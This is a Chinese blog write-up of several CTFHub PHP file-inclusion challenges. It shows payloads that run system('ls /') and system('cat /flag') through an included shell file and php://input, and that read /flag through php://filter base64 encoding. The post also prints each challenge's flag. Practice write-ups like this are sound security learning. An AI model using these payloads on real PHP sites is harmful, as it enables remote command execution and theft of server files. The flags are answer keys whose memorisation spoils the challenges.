CTFHUB-RCE-文件包含

最新推荐文章于 2024-08-08 16:00:00 发布

Pale1c

最新推荐文章于 2024-08-08 16:00:00 发布

阅读量426

点赞数

分类专栏： CTFHUB

本文链接：https://blog.csdn.net/u014794539/article/details/118639228

版权

15 篇文章 0 订阅

订阅专栏

本文详细讲述了PHP中file和input伪协议的利用技巧，包括通过Hackbar构造Payload、抓包POST请求、filter协议解码和远程包含，最终演示如何在CTF挑战中成功获取flag。涉及知识点有shell执行、编码解码和安全防护措施的突破。

摘要由CSDN通过智能技术生成

考点
php伪协议 file协议
分析过程
在这里插入图片描述
Shell是这个

使用hackbar 构造Playload传参

http://challenge-deb7e7e0db233e27.sandbox.ctfhub.com:10800/shell.txt

ctfhub=system('ls /');
ctfhub=system('cat /flag');

在这里插入图片描述
得到flag

ctfhub{3a551fa301f8dda0dccd2c7d}

考点
php伪协议 input协议
分析思路

抓包把请求方式改成POST
开头POST /file=php://input HTTP/1.1
在这里插入图片描述
可以用那没事了
playload

<?php system("ls /")?>
<?php system("cat /flag_21695")?>

在这里插入图片描述
得到flag

ctfhub{552db4f70a996a20ca7ae8ec}

考点
php伪协议中的filter协议
思路分析

他告诉了flag的位置
考虑使用filter协议
构造playload:

http://challenge-1b95d33e2212f9fb.sandbox.ctfhub.com:10800/?file=php://filter/read=convert.base64-encode/resource=/flag

在这里插入图片描述
解码

得到flag

ctfhub{e4be0c887bb918fc7e4c55c8}

考点
伪协议伪协议
思路分析

用file包含phpinfo是有回显的，所以构造
payload ：

xxx:10080/?file=php://input
post <?php system('ls /');?>
<?php system('cat /flag');?>

在这里插入图片描述

得到flag

ctfhub{42c0e127f9a470f3f91d1eaa}

关注

专栏目录